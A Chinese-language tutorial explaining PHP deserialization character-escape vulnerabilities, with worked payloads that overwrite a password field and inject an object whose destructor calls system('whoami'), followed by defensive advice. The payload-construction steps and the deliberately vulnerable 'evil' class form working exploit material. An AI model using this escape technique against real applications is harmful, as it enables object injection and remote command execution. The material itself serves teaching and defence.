详解PHP反序列化中的字符逃逸
字数 1071 2025-08-25 22:58:40
PHP反序列化字符逃逸详解
基本原理
PHP反序列化机制存在几个关键特性:
- 对类中不存在的属性也会进行反序列化
- 底层代码以
;作为字段分隔符,以}作为结尾(字符串除外) - 根据长度判断内容
示例:
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
如果添加额外内容但保持长度正确,如a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";,仍能正常反序列化。但如果修改长度,如s:4:"aaaaa",则会报错。
字符逃逸原理
当存在字符串替换操作时,可以利用替换前后字符串长度差异构造逃逸。
示例1:简单替换
function filter($string){
return str_replace('x','yy',$string);
}
$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);
正常序列化结果:
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
如果将$username设为peri0dxxx,处理后变为:
a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";}
这里s:9:"peri0dyyyyyy"比原来多了3个字符。
构造密码修改
要修改密码为123456,需要添加字符串:
";i:1;s:6:"123456";}
长度为20。
计算需要多少个x:
- 每个
x替换为yy,净增1个字符 - 需要20个
x来实现逃逸
最终构造:
$username = "peri0d".str_repeat('x', 20);
$password = "aaaaa";
处理后序列化结果会包含我们注入的密码修改代码。
Joomla逃逸实例
代码分析
class evil{
public $cmd;
public function __construct($cmd){$this->cmd = $cmd;}
public function __destruct(){system($this->cmd);}
}
class User {
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
}
function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
关键点:
- 将
\0*\0(3字节)替换为\0\0\0(6字节) - 读取时反向替换
构造payload
目标:将password字段替换为恶意对象注入代码:
s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}
分析:
- 需要逃逸的字符串:
";s:8:"password";s:4:"1234(长度26) - 每个
\0\0\0替换为\0*\0,净减3字节 - 需要9组
\0\0\0(27字节)来覆盖
最终payload构造:
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
执行流程
-
序列化时:
username包含多个\0\0\0password包含payload和闭合符号
-
写入时:
\0\0\0被替换为\0*\0,总长度减少
-
读取时:
\0*\0被替换回\0\0\0,长度恢复- 但结构已被破坏,payload被成功注入
-
反序列化时:
- 执行
evil类的__destruct方法 - 执行系统命令
whoami
- 执行
防御措施
- 避免在序列化数据上执行字符串替换操作
- 使用
json_encode/json_decode替代序列化 - 对反序列化数据进行严格校验
- 使用签名机制验证数据完整性
总结
PHP反序列化字符逃逸漏洞利用字符串替换操作的长度变化,精心构造输入数据来破坏原有序列化结构,实现属性覆盖或对象注入。关键在于:
- 计算需要逃逸的字符串长度
- 根据替换前后长度差计算需要多少个替换单元
- 正确构造payload并闭合序列化结构
- 确保最终反序列化结构合法且包含恶意代码